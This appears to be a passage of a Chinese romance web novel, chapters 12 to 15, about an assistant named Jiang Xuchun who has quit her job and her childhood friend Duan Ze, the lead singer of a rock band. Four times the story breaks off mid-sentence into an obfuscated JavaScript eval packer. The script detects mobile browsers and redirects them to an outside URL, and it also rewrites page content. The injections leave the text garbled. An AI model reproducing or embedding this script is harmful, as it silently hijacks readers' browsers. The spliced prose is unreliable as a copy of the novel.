“等你打了耳洞你完了。” “哇,我可以一只手同时转两个欸。” “你是脑残吗江绪春。” …… 其实江绪春不太记得自己那晚为什么要转耳钉,但她记得后来,段则的八个耳洞全部红肿发炎了。 段则的耳朵明明很薄,那段时间都快肿成弥勒佛。江绪春在他家看到这一幕,一边心怀愧疚,一边没忍住笑出声,下一秒,迎面飞来一只抱枕。 她顺势接过抱枕垫在身后,讨好地笑了笑:“不好意思,下次不会啦。” “还想有下次?” “如果你再打耳洞的话……啊!”江绪春玩笑开到一半,耳垂被人一把捏住,吓得她尖叫出声。 这才刚放上去,就开始鬼哭狼嚎,段则犹豫着想收回手,又实在气不过,最后还是拧了一把才松开。 江绪春吱哇乱叫了半天,却没想象中疼,不由得一愣。 “要不……”她转头露出另一只耳朵,“这边也给你揪一下?” 段则懒得理她,抓起另一只抱枕拍开她的脑袋:“神经。” 想来一切已经是九年前的事了。 现在的她足够稳重,再做不出那种荒唐的事。 两人拣了处靠窗的位置,桌上与时俱进,贴着扫码下单的二维码。 “滴”一声,江绪春还在翻看酒单,看见已点列表里多了一样。 点开一看,是段则点的一杯螺丝起子。 江绪春想想,最终点了一杯长岛冰茶。 很奇妙,两人对这两款酒并没有多钟情,去别的酒吧喝酒时,几乎不会点这两杯。 唯有在这里,像是约定俗成的一样,永远都是这两杯。 还是熟悉的味道,江绪春抿了一口,扭头看向窗外街景。 酒吧位置略偏,时间不算晚,但街道上来往行人很少,她的目光定在一只横穿马路的猫身上,听见耳畔传来段则的声音: “今天是谁惹你心情不好了?” “你。”她继续看着猫说。 “胡扯。” “为什么不能是你?”眼见猫平安走到马路那一头,江绪春终于将目光移向他,“改东西就是很烦啊。” “你不是那样无理取闹的人。” 江绪春鼻子突然一酸。 她选择把它归咎于酒精。 她低头又喝了一口酒,盯着玻璃桌板上倒映出的他的影子,喃喃着:“我又相亲失败了。” “又?” “嗯,上周还相过一个。” 段则沉默少顷:“你们吃饭时闹不愉快了?” “倒也没什么大问题,只是……我对他好像没什么眼缘。” “有没有眼缘不是一般第一眼就能确定吗?” “是啊。” “你们之前聊那么好,我还以为你对他很有眼缘。” 江绪春拇指摩挲着杯壁的水珠,轻轻摇摇头:“没有。但是,我还是想试试看,看自己能不能接受他。” “你就这么急着谈恋爱么?”段则皱了皱眉,“干嘛这么勉强自己。” “我都27了……又不是17岁。” “你就算是77,那也不该凑合啊。” “说的好听。”江绪春小声嘀咕。 “所以,你选择辞职,就是因为觉得和我工作太不稳定,耽误你谈恋爱?” 江绪春抬眼看了他一眼,又匆匆别开。 “嗯。”她嘴犟道。 “然后呢,谈上恋爱后你想做什么?” “结婚啊,大概还会生一个孩子。” “我是问工作。” “考公吧。” “考不上怎么办?” 江绪春很想骂他尽说晦气话,但想来这确实是该考虑的事。 想做什么呢,其实连考公也不是她想做的,她只是把它当成一个漂亮的借口,试图拖延推脱些什么。 想来想去都想不到,江绪春选择放弃:“我不知道。” “那我觉得眼下比起相亲,你显然还有更重要的事需要考虑。” 江绪春愤愤地看他一眼,她不喜欢段则用这种好像教人做事的语气和她说话。 但坦诚来说,段则确实比她有规划的多。 他从小就喜欢音乐,高中开始玩摇滚,大学组乐队,毕业后便坚定了要走这条路。其间乐队成员来来往往,唯有他是不变的主心骨,一路从地下唱到地上,从livehouse唱进体育馆。 江绪春愿意待在他身边的原因之一,正是喜欢他逐梦时的那股热切劲儿。 她的人生太平庸无趣了,而被他的光芒照耀着,会误以为自己也是很闪耀的人。 但她想走出来,不想永远做那个只能借光的月亮。 “你不觉得你管太宽了吗?”她说。 段则不置可否地一挑眉,仰头喝了口酒,似是不想和她多争辩。 气氛陡然降至冰点,两人都闷不做声地一口口灌酒。一杯喝完,江绪春又点了半打啤酒,一支支对瓶吹。 而段则喝完那杯就没再喝,只是始终沉默地看着她。酒吧灯光昏暗,衬得他的眸光颇为深沉,甚至有那么点儿悲伤—— 对于后者,江绪春觉得那只是酒醉后的幻觉。 这些年锻炼下来,其实江绪春的酒量还不赖,起码不是一杯长岛冰茶就能灌倒的程度。 但今天喝的好像是多了些,也可能是情绪作祟,起身离席时,她脚步不由得一个踉跄。 路过的侍应生眼疾手快扶了她一把,她醉眼朦胧,都没看清人家的脸,就笑盈盈地开口:“你好帅呀。” “谢谢老板,有空来找我开台。”侍应生向她抛去一个飞吻。 段则将伸到一半的手抄回口袋,沉默地跟在她身后向外走。 江绪春就这样摇摇晃晃地走出酒吧,冷风一吹,她更觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江绪春郁闷地站稳身子,看见段则转了个身,背对她弯下腰来:“上来。” “嗯?” “我背你回去。”他不确定要是让江绪春走回去,这一路得出多少意外。 江绪春定定地看着他的背脊,冷风吹过她脸上未干的泪痕,帮她将面庞降了些温度,也让她的头脑逐渐清明。 她感觉自己的酒有一点醒了,或许并不需要这份帮助。 但她还是伸长手臂踮起脚,像九年前那样,爬上了他的背。 段则稳当地托住她的腿,慢慢直起身来,一步步向前走去。 小城市发展很慢,这道的景物变化不大,她靠在他肩头,用比平常高了一截的视野看着周围,恍惚间好像回到了九年前。 倒还是有差别的,比如此刻他只戴了一对耳钉,而他的背脊也比从前宽阔不少,她再也不会被他的肩胛骨硌到满背打滚。 不过,当年并不是他最瘦的时候。 大概是大学毕业第二年,也是陆鲨最艰难的时刻。初期那股子不管不顾的冲劲儿已经过去了,乐队长期入不敷出,未来难测,乐队四人常常聚在一起开会,从开始的讨论发展方向,到后来开始考虑乐队存亡。 众人的心都逐渐飘摇,唯有段则是最坚定的那个,但他还是没能拦下鼓手的出走——那个第二位加入陆鲨的人。 那时候的段则长期吃不下饭,每天心事重重,除了脖子不够前倾,瘦得简直像ysl最爱的秀场模特身材。 江绪春担心得要命,怕他哪天会猝死,每天追在他身后督促他吃饭,而段则不仅不听话,还给她转了一笔钱: “你要不另外找个工作吧,我可能快发不起工资了。” 江绪春气得不行,带着一袋面包杀到他家,掐着他的脸颊,先往他嘴里塞了一块面包,然后说:“我不走,你也不许走。工资你可以拖着,但我想看你成为大明星。” 段则囫囵着咽下,太久没吃东西,吞咽时喉口干涩得厉害。 “哪那么容易。”他说。 “是不容易,可是,我跟你干了一年多,都没有应届生身份了,你得对我负责。” “我会努力赚钱的,到时候再转给你,大不了给你写个欠条。” “钱钱钱,我在乎的是钱吗?”江绪春又给他塞了块面包,“你别说了,我不走。” 还在撕下一块面包时,她看见段则眼红了。 察觉到她的目光,段则一把上前抱着她,强行用自己的胸膛挡住她的视野。 江绪春摸索着将手里的面包塞进他嘴里,而后擦擦手指,回抱住他。 那时候的段则真的好瘦好瘦,明明是快一米九的大高个儿,被她环抱着还有好大一截余量。她轻轻抚过那凸起的一节节脊骨,当时就一个想法,无论如何,她都不会离开他。 可能年轻的时候,人确实会比较冲动。冲动地做一些决定,冲动地许一些诺言。 此刻,那原本瘦削的背脊变得宽阔,再不能被她轻松环抱。 而她俯在他背上,想的全是两个多月后,她就可以离开他了。 13. 第 13 章 酒醒后,两人的关系恢复如初。本来也没什么大矛盾,彼此都默契地不提那晚的事。 母亲还想着给她张罗第三轮相亲,被江绪春拒绝了,说自己想缓和一段时间。 刘蓉想想,最终没有坚持,她摸摸女儿的头发:“这些年在外闯荡是不是很累,辛苦了,妈也只是想你有个好的归宿。” 江绪春没说话,一把扑进母亲怀里,赖着她抱了好久。 什么算是好的归宿? 从前江绪春觉得是功成名就,但她看陆鲨都这么出名了,段则好像反而没有之前快乐,她渐渐觉得,一个平凡安定的生活或许更好。 就像眼下坐在她面前的申涟一样。 回兴榕那天,江绪春有发过一条朋友圈,感慨自己终于回家了。申涟在下面留言,说好想她,两人什么时候见一面。 最终,日子被定在了今天。 两人是初中同班同学,高中同校不同班,关系介于好朋友和普通朋友之间。 申涟大学毕业后便回到兴榕,成功考公上岸,又找了个同在体制内的对象,去年刚生了个儿子,算是小城市里的人生赢家模板。 她的身材比之前丰腴了几分,眉眼里是一种充满幸福的安定祥和,她笑眯眯地给江绪春晒儿子的照片,嗔怪她太忙,都没能去儿子的周岁宴。 那时候江绪春正在忙巡演,几乎是睁眼就换一座城市,别说周岁宴,连她老爹的生日宴都没能参加。 “我错了啦。”江绪春忙赔笑道歉,“小浩好可爱哦,长得和你真像。” “是吧,就是这性子估计随他爸,可爱动了,天天折腾得我不得安宁。”申涟嘴上是埋怨着的,眼里的爱意都快要满溢。 两人聊了会儿育儿经——虽然基本是申涟在说,江绪春在听——话题渐渐转到了工作上。 申涟:“真羡慕你,能每天飞来飞去,哪像我,连个国都出不了。” “不能出国?为什么?” “你不知道么,我们护照要上交,出国得报审批。” 江绪春确实不知道,她半张着嘴,一时不知说什么好。 其实她对出国这件事兴趣缺缺,虽然没人收她护照,但她拢共也就出过两次国。 一次是大学毕业,宿舍四人相约来一场毕业旅行,最终目的地定在了泰国。 一行人说着蹩脚的“萨瓦迪卡”,吹着海风吃着榴莲,坐在突突车上放声高唱,一路过711就走不动道。 还有一次则是去年,段则有段时间心情不好,问她愿不愿意陪自己出国散心。 事发突然,两人来不及申签证,便去了可以落地签的富国岛。 这是座商业化程度不高的小岛,可玩可逛的景点不算丰富。这倒遂了段则的意,他没什么心情到处游览,只想躺在沙滩椅上放空自己。 除了觅食,两人很少出酒店,大部分时间都待在私人沙滩上。段则会游泳,但三天他只下了一次水,不到半小时就上岸了,浑身湿漉漉地走向她,拿起毛巾随意擦了擦。 扬起的水珠溅到她身上,江绪春不自在地缩了下身子,目光瞥到他漂亮的肌肉线条,下意识将脸别到另一边。 为了应付高强度的工作,签约公司后,段则逐渐养成了健身的习惯。 由于初衷只是为了提升体力,他的肌肉并没有练得很大块,衣服一穿,偶尔还会让江绪春幻视在livehouse演出的那个单薄少年。 来到海岛自然要吃海鲜,段则虽然没有海鲜过敏,但他嫌有腥味,不爱吃。 可江绪春爱吃,于是明明是她陪段则散心,结果大部分时候,都是她一个人在吃蟹吃虾吃鱼,而段则在旁边默默点一碗pho看她大快朵颐。 “不好意思哦。”刚扒开新一只螃蟹壳,江绪春突然良心发现,忙里偷闲对他说。 段则冲她摆摆手,话都懒得和她说一句。 那是陆鲨签约公司的第二年,名气越来越大,随之而来的非议和压力也越来越大。 嘲讽他、辱骂他,他的身份证和毕业照被传得满天飞,更有甚者对他发出死亡威胁。 那些污言秽语也许关掉手机可以隔绝,但源源不断的工作没法推脱。 公司帮他们接了很多和音乐无关的活动和广告,作为队伍主心骨,段则每天脚不沾地,连静心创作的时间都没有,却还得完成公司的新专计划。 也就是最近,段则终于讨得几天假期,抓着她就飞到了这里。 ……然后天天看着她吃成一只小猪。 小猪用餐完毕,终于回归人形,非常淑女地把纸巾折成小块擦擦嘴,冲他温婉一笑:“我们回去吧。” “嗯。”段则接过老板递还的信用卡起身。 “明天我们去吃披萨吧。”江绪春说,“听说这里有家披萨很好吃,你就不用一直坐在旁边看我吃了。” “我没什么胃口。”段则说,“吃什么都随便。” 江绪春眼珠子一转:“那要不……” “明天还是吃海鲜吧。”段则帮着她接了下半句。 被说中的江绪春不好意思地干笑两声:“好不好意思哦,明明是为了来陪你散心的。” “这不是正散着么。” “可是你都没吃什么好吃的。” “没关系,我喜欢看你吃东西。” 大概因为太累了,段则这些天的说话语气一直淡淡的,包括这一句。 江绪春下意识抬头看他一眼,得到他回赠的一眼,以及一句话:“看什么。” “我吃东西有什么好看的。” “不知道,可能我这个人爱好比较特别。” “……”江绪春皱着眉头,不确定是不是在骂她。 平心而论,段则真没骂她。 他确实喜欢看一些生物吃东西,比如江绪春,比如家里那只叫小狗的猫。 每次给小狗添完粮,只要有时间,他都会坐在不远处默默看它吃完。 小狗吃饭会微微眯起眼,神情专注得不得了,粉色的小舌头舔得飞快,还特别爱砸吧嘴。 要是有人砸吧嘴,那他绝不会和对方吃第二顿饭,但是小狗砸吧嘴,他怎么听怎么可爱悦耳。 江绪春没有砸吧嘴的习惯,但她吃东西同样很认真,尤其是吃到爱吃的。 她会满怀耐心地揪出甲壳角落里藏的每一块肉,每次掀开壳,要是里面的肉又多又饱满,她的眼睛是真的会亮起来,同样的,要是开了个空壳,又会一秒就闷闷不乐。 每掀开一块,段则比她还要期待,她期待里面鲜美的肉,而他期待她的表情。 江绪春对此一无所知,她只是一路揉着有些撑的肚子,同他走回酒店。 两人只开了一间房,两张单人床。 早年间陆鲨穷得响叮当的时候,每次去外地演出,为了节省经费,都是江绪春和段则一间房,另外三个人一间房。 两人从小玩到大,江绪春对他的人品还是很放心。住过这么多次,也确实什么都没发生,偶尔住到那种透明浴室的酒店,每次有人洗澡,另一个都会很自觉地下楼去大厅等候。 好在这间酒店的浴室不是透明的,江绪春先一步洗完澡,躺在床上翻伴手礼攻略,听着不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鬼使神差的,江绪春盯着那黑暗中的唯一一簇亮光出了神。 看着看着,她竟然想亲他一口。 这种想法太可怕,可怕到让她一秒清醒,水果也不吃了,撂下叉子就往房间走。 余光里,她能看见段则回头看了她一眼,但没说什么。 江绪春快步冲上自己的床,用被子将自己裹了个严实,狭小闷塞的空间里,她能清晰听见自己超速的心跳声。 她微微颤抖着,不管是睁开眼还是闭上眼,眼前反反复复出现那一抹光亮,这太可怕,她决心自己以后要戒酒。 几分钟后,段则回来了,还将托盘带了回来,顺手放在茶几上。 “睡这么早?”看见她蒙在被子里的背影,他问。 “嗯。” “晚安。”他说着,关掉了灯光,只留他床前一盏小小的夜灯。 江绪春仍旧在细密地颤抖,也可能是心跳的幅度太大,带动着她的身体没法安定。 她能听见他掀开被子的声音,还有指尖在床头柜摸索着拿起手机的声音,突然响起的手机提示音让他歉疚地倒吸一口气,紧随其后的微小按键音,应该是打开了静音模式。 这些声音自背后而来,穿过被子筑成的脆弱堡垒,团团围困住她。 这太可怕了。 今晚她不止一次这么感慨。 一定要将它消灭在襁褓里。 14. 第 14 章 聚会结束,申涟贴心地开车将她送回了家。 车是去年新换的,因为家中添了一员,夫妻两便卖了之前的轿车,换了这辆宽敞的SUV。两人还计划着买套学区房,不过小浩才一岁,还能暂时先观望观望。 “唉,生了孩子要考虑的就是多。”申涟故作惆怅地叹了口气。 江绪春没有孩子,连婚姻都八字没一撇,但她也要考虑很多事,关于自己渺茫的未来。 她盘腿坐在飘窗上,手里捧着母亲切好的一盘苹果,被贴心切成了小兔子的形状。小时候她不爱吃水果,刘蓉便把水果切成各种卡通形状来哄她吃,这个习惯一直持续到现在。 长大后的江绪春,从母亲手里学到了这门技术,并学以致用。 犹记得陆鲨初期,有次和人谈合作时,江绪春便这么切了一盘漂亮的水果。 端上桌时,一直端着脸的对方眼睛一亮,笑盈盈地看向她,夸她手真巧,以后一定会成为一个好妻子、好母亲。 因着这盘水果的破冰,后续两方谈话的氛围还不错。 奇怪的是这次合作最终没成,江绪春好奇地去问段则原因,他却驴头不对马嘴地说:“下次你买个果盘就行了,不用这么大费周折。” “你知道一个漂亮的果盘有多贵吗?”要不是初期的陆鲨穷得叮当响,她也不至于一人顶三人用,什么细枝末节的事都要亲力亲为。 “你的精力更值钱。”段则说。 后来,段则提高了这方面的经费,从他后续又找了两份新兼丨职来看,估摸着全是他一人掏的腰包。 明明他在队里出钱出力最多,但分账时,从来都是四人平分。所以江绪春有时觉得签了公司反而更好,段则是一个好老板,但好人不适合做生意。 而此刻,江绪春叉了一块兔子苹果,心不在焉地一边吃,一边回想着下午和申涟的闲聊。 一份稳定的工作,一位同频的爱人,一个可爱的孩子,在这座节奏缓慢的小城市里,过着重复但安定的每一天。 江绪春觉得这应该很幸福,从申涟的表现来看,她确实感觉很幸福。 明明这就是江绪春回到兴榕想追求的,但听着申涟向她细细描述了这一切后,她居然没有感受到一丝憧憬。 她不喜欢重复且没有挑战性的工作,不想永远被困在一个地方,不愿过一眼能望得到头的生活—— 哪怕一路都是鲜花,可没有棘刺的玫瑰,那就不是玫瑰了。 是她对幸福的认知出了什么偏差吗? 可她好像也无法想象段则去过这样的生活。 那么起码,像她这样的怪胎不止一个。 江绪春拨弄着手机,不自觉又点进了和段则的对话框。 聊天记录还停留在前天,段则问她酒醒了没,有没有不舒服,而她则为自己的酒后失态道了歉,他说没关系,她便没再回。 她的指尖戳着那条空白的输入框,反复将键盘唤出又收起。她想说段则我现在好迷茫,你可不可以陪我聊一聊,但最终她只字未写,“咔哒”将手机熄屏。 明明那晚正因为他教导的语气有了龃龉,再主动让他指点迷津,那也太自相矛盾。 刘蓉的声音恰在此时从门外响起,让她少吃点水果,留点肚子准备吃晚饭。 江绪春应了一声,端着盘子走出卧室,开始帮着盛饭。 “你爸在阳台上看到小申送你回家了,你怎么也不请人家上来坐一坐,刚好吃个晚饭。”甫一落座,刘蓉便说。 “她急着回家照顾孩子呢。” “也是,这个年纪的孩子离不开妈妈。”刘蓉顿了顿,“你呢,什么时候也生一个,我给你养。” 江绪春张了张嘴,最终只敷衍地说了句“不知道”。 “本来看你终于同意相亲,我还挺高兴的,但这相一个黄一个也不是个事儿啊。”刘蓉道。 “那怎么办,要不下次一见面,我就领人家上民政局。” “欸,我看这行。”江志远在旁乐呵呵地插了一嘴。 “吃你的饭去。”刘蓉瞪他一眼,再次看向她,“你到底喜欢什么样的男孩子,你和妈说清楚,我也好帮你找呀。” 江绪春盯着空气想了好一会儿,最后一个词也没憋出来,只好烦闷地摇摇头,低头继续吃饭。 “段则。” 吃完饭刚回房间,江绪春便果断给段则打了通电话。 管它什么面不面子,她在段则面前丢过的脸还少吗。 “嗯?”段则那头好像在忙,漫不经心地应了一句。 “我好烦。” “烦什么?” “不知道,就是烦。” “啪嗒”,听着像是笔记本被合上的声音。 “那出来吃顿饭,慢慢聊。”段则说。 “我刚吃完。” “那你看着我吃。” “行。” 眼见闺女又全副武装准备出门,刘蓉好奇地问了一句:“打算去哪?” 江绪春下意识要脱口说出段则的名字,却生生又咽了回去。 以两家的熟悉程度,就算知道她去找段则,刘蓉也绝不会多说什么,但她今晚偏偏就是不想说。 “之前申涟儿子的周岁宴我没去,打算把礼物补送给她。” ——明明在周岁宴之前就快递过去了。 “哦,好。”女儿鲜少撒谎,刘蓉便也没怀疑,“早点回来。” 两人去了段则刚回兴榕就想去的陈家饭屋,这会儿二中学生们都在上晚自习,店里只有他们一桌客人。 太过安静有时候也不适合谈话,毕竟说点什么服务员都听得一清二楚,段则便开了个二楼包厢。 包厢有一百块低消,犹记得念高中时,江绪春特别羡慕能去包厢的,一般像他们这种学生,也就生日聚会之类的,才舍得上去“奢侈”一把。 如今回望,当年的“奢侈”体验原来只要一百块。 话虽如此,在这个均价二十的平价小店,想一个人点满一百也不太容易。 段则将菜单翻了一转,点了个最贵的寿喜锅——价值60元巨款,又点了两杯饮料里最贵的牛油果奶昔,刚好凑满100。 寿喜锅被端上后,江绪春的眼睛几乎都黏在了上面。 学生时代的她一直非常好奇它到底长什么样,可惜因为它的价格,到毕业了也没舍得点上一次。 “天呐。”江绪春双手合十作星星眼,“你居然点得起寿喜锅,好羡慕你哦。” 好像一踏进这里,自己便回到了穿校服的青葱岁月。当年每每有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不是羡慕他的名气和财富,而是羡慕他在那时候,就知道自己以后该干什么。 不像她,过了十年也没想出个答案。 段则咽下嘴里的乌冬面,端正地看向她:“说说吧,在烦什么?” “在烦……考公失败怎么办。”她还是没和盘托出。 “还没考就打退堂鼓?” “这不是你那天问我的吗?” “……我错了。” “我后来想了想,觉得你说的有道理。”江绪春说,“如果我考不上公务员,你觉得我还能做什么?” “你的人生,你问我?” “不能问吗?” “可以啊。”段则喝了口奶昔,“你要是问我,那我肯定觉得你适合回到陆鲨。” “跟你干一辈子吗?” “我是打算唱一辈子的。” 真好啊,他把自己的一辈子都想好了。 如果她没有辞职的话,这一辈子的规划里本来也有她吗? “如果我老了,干不动了怎么办?”江绪春说。 “我养你咯。”段则说,“像你这种元老级员工,福利待遇肯定是最好的。” 江绪春手忙脚乱,抓过不远处的奶昔喝了一口。 冰凉的液体顺着食道滑进胃里,让她冷静了些许。 她承认自己心动了一瞬,在他说出后半句之前。 15. 第 15 章 冷静下来后,江绪春摇摇头:“别开玩笑了。” “没开玩笑。”段则顿了顿,“不过,你急什么,这不是才过半个月么,你还有两个半月可以考虑自己的未来。” “段则。”江绪春垂着眼,像在对桌面说话,“你当初有没有想过,如果陆鲨失败了怎么办?” 他真的从来没有迷茫过吗,有没有那么一刻,他想过要去当一个朝九晚五的上班族? 江绪春以为自己会等到一段丰富的心路历程,等她抬眼重新看向他,却见段则笑得很无奈:“它不是一直在失败吗?” 哦,是的。两次重组,屡被合作方退货,有段时间段则穷到快要去网丨贷,还是段咏竹得知此事后,默默支持了他一笔钱。 常有看不惯陆鲨的人,会说他们的成功太容易,那是因为段则从不在大众面前诉苦。 他不喜欢把过去的落魄经历当作谈资,哪怕这种反差能吸引来许多流量,默许公司出卖他的脸,已经是他对陆鲨做出的最大让步。 “所以,这就是你烦恼的原因吗。”见她迟迟不语,段则道,“因为不知道以后要做什么?” “差不多吧。” “那就都试一试。试一试考公,要是失败了再试一试别的,直到试到自己想要的那个。” “说得好听,哪有那么多试错成本。” “什么成本?钱?那我承诺你,在你新工作稳定前,我会一直给你发这里的工资。时间?就算不推迟退休,你也还得再干三十年。” 江绪春双手抱臂,整个人快要伏到桌面上,喃喃着:“以后遇不到你这么好的老板怎么办。” “哦,不是我打击你,你确实再遇不到了。” 江绪春惆怅地瘪了瘪嘴。 寿喜锅的味道似乎不怎么样,段则只简单吃了些面和蔬菜,便放下筷子。 “你还有什么想聊的吗,我明天打算回泓州了,上次录的demo不太满意,需要去重录。” 说是陆鲨放三个月假,其实真正放假的只有她和另外三人,段则还得在这三个月里,把新专赶出来。 江绪春想了想:“没有了。” “行。”段则顺利结完账,“我现在打车。” “那个……我想走走,晚饭吃得有些撑。” 闻言,段则放下手机:“那走吧。” 可能是室内的温度太暖和,甫一走出餐厅,江绪春便打了个大大的喷嚏。 她颤抖着吸了吸鼻子,脑袋还有些懵,肩上便搭来一只手。 “穿这么少。”段则将她整个儿揽进怀里,给她度去一点热意。 “我没想到会这么冷啦。” 出门的时候天还没黑透,现在太阳彻底下山了,温度确实低了好一截。 她就这样在段则的环抱下,走过母校边狭窄的街道,当年每次放学,这里都被堵得水泄不通。 不过此刻,学生们都在上晚自习,只有零星几个性急的家长已在街边等候,街道空荡又寂静。 段则今天没有喷香水,周身温热的空气里,氤氲着独属于他自己的味道。 江绪春很难用一种具体的事物来描述这种味道,只知道它让她很安心,哪怕明天就是世界末日,躺在他的气息里,也能得一刻安寝。 “你知道吗,东门以前看门的那个大爷,前年离世了。” 今天下午,她刚从申涟那里得知这件事。 她能感觉肩上的手忽而一顿,段则回头看向已经远去的校门,良久叹了口气:“世事无常。” “是啊,世事无常。” 其实上学时,大家都不太喜欢那个大爷,因为他又凶又严厉,每次迟到都会被他好一顿吼,骑车上学的同学进门前要是慢了一步下车,还会被他举着橡胶棍在后面追着撵。 段则也没少和他斗智斗勇,因为他有时会带吉他来学校练习。只是除了艺术节这种特殊时刻,平日里学校并不允许带乐器,还是这么大一个乐器,都没法藏进书包里。 每次带乐器时,段则都会早早抵达校门口,然后找个隐蔽的地方观望,等到人潮最密集的时候混入其中。 但总有被发现的时候,大爷会举着橡胶棍指他,问他带了什么,段则当然不会老实回答,背着吉他撒腿就跑。大爷那时候还不到六十,尚且能跑上几步,但终究撵不上精力旺盛的高中生。 次数多了后,大爷每次看到他,哪怕他没带吉他,也要瞪他一眼。大爷还打听到了他的名字,于是上学期间常常出现这样的画面—— 有个学生背着吉他在前面狂奔,大爷追在后面怒吼:“5班的段则,你给我站住!” 至于班主任为什么不管,那是因为两人开学就做了约定。他会好好学习,保证成绩绝不下滑,只求班主任能在午休期间,允许他去操场练习。 但那只是两人之间的约定,因而班主任也没法阻止别人抓他。 段则和大爷就这么斗智斗勇了三年,高三毕业那天,他还特地赶到保安室,非要和大爷合照一张。 江绪春是站在旁边按拍立得的那个。大爷看到他就皱眉,挥着手让他滚,但拗不过他嬉皮笑脸地一直纠缠。最后大爷叹了口气,面无表情地站在原地,段则忙上前一手揽着他,一手比了个“耶”,用眼神示意江绪春快点按快门。 照片拍了两张,一张段则自己留着,一张他硬塞给了大爷,随之附赠了个小礼物。 大爷好奇地打开一看,发现里面是个吉他造型的钥匙链,气得举起手来,眼珠子滴溜溜转,四处搜寻橡胶棍放在哪。 段则不由分说,一把按下他的手,强行抱住了大爷:“这些年辛苦了,祝您身体健康。” 吉祥话当头,大爷的心终于软化了些,无奈地笑道:“也祝你们前程似锦。” 那还是江绪春三年来第一次看大爷笑,她这才发现,他笑起来的时候,看着居然很慈祥。 其实那天,段则也带了吉他上学。进校门时大爷分明是看到了,但难得一次没说他,默默将目光移向另一边。 后来听5班的同学说,最后一堂课,段则在讲台上给大家弹唱了一首歌,朴树的《那些花儿》。 开始只是他独唱,不知是谁开头,最后变成了全班合唱。歌曲本身并不长,但大家一遍遍“啦啦啦”重复着,整整唱了十分钟。 得知此事的江绪春,非常不满地找到段则:“你怎么不给我也唱一首?” 段则茫然地看着面前满脸愤懑的小姑娘:“你想听啊?” “我不能听吗?” “可以啊,当然可以。”段则抬手揽过她的肩,“走,给我们尊贵的小鸭单独弹唱一首。” 走廊上人来人往,段则带着她一路上到天台。 夏季的太阳落山迟,傍晚日头仍盛,两人缩在角落仅有的一片阴影下,跟做贼似的。 段则取出吉他,随手拨了一道:“你想听什么?” 江绪春本来想听那首没听到的《那些花儿》,但她想了想说:“你想给我唱什么?” “你?”段则面露迟疑,长久地看着她。 那片阴影的遮盖面积太小,段则的半边脸笼在日光下。他被晒得微眯起眼,注视她的时候,给人一种他过分专注的错觉。 楼下的广场有人在高呼,喊些“高考加油”“顶峰相见”之类的词句,“嗡嗡”地刺激着江绪春的耳膜,让她的心变得乱糟糟。 段则把最好的那片遮阳位让给了她,太阳晒不到她,但她仍被他的目光灼烧得厉害。 她下意识别过脸,能听见段则轻轻吸了一口气:“我想到了一首歌。” “什么歌?” 段则没应声,低头开始滑动手机。毕竟是最后一天,许多人想拍照留恋,因此手机也难得被允许带进校园。 少顷,他把手机递给江绪春:“我之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202910|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没怎么弹过这首歌,你帮我举一下谱子,每次我一点头,你就划一下屏幕。” “哦。” 于是明明是来当观众的江绪春,莫名其妙成了他的助理。 这首歌的前奏有些长,江绪春倒也习惯了,段则喜欢的歌,好多都有着非常长的前奏,甚至有些歌整首下来,也就唱上那么几句。 江绪春一开始总是听得猴急,不停问主唱怎么还不开口,后来渐渐习以为常,还试着去欣赏这些纯粹的旋律。 就像眼下这首,盛夏将至,她却仿佛来到了萧瑟的秋日,红叶乘风而起,飘落在河面顺流而下。 因为不甚熟悉,段则弹得很慢,眉头微皱,给这张少年人的面庞添了些不合衬的深沉。 良久,他终于开口,轻声哼唱着: “Pleaserememberme, WhenIamgonefromhere. Pleaserememberme, Butnotwithtears……” 少年的身躯瘦削,撑不起一件水蓝色的校服衬衫,任它在风吹下猎猎作响。 那时的段则还没有系统提升英语水平,带着和她一样的本地口音,歌词只有那么几句来来回回重复,“remember”是被提及最多的词。 江绪春直觉这是一首很忧伤的歌,沉浸在这种情绪里,她都忘了给段则翻页。 吉他声顿了一下,好在后面的旋律相对重复,段则没多说什么,继续弹奏下去,只是没再点头。 音乐声止,江绪春渐渐回神:“你为什么想对我唱这首歌呢?” 段则看着她,轻声问:“小鸭,你会忘记我吗?” 毕业意味着分别,虽然大家都互道“日后再会”,但彼此都很清楚,也许和很多人此刻正是永别。 江绪春忙回道:“当然不会啊!” “真的?” 那时候他的面庞还没有现在这么锋利,眼神也柔和许多,以至于这么被他盯着时,总是好容易心软。 可是她又没有做错什么,她并没有撒谎。 “真的。”江绪春重复了一遍,语气比之前认真许多。 “好。”段则将吉他收好,抬手揉了下她发顶,“我相信你。” “那你呢,你会忘记我吗?” “不会。”他答得没有一丝犹豫,却反让江绪春觉得不够真诚。 “不信,你要是忘记我怎么办?”江绪春追问道。 “那你上我家告状,反正地址你都知道。” “有什么用呢。”江绪春声音轻了一截,后半句像在自言自语,“你都忘记我了……” 蝉鸣声中,江绪春迎来了填志愿的日子。 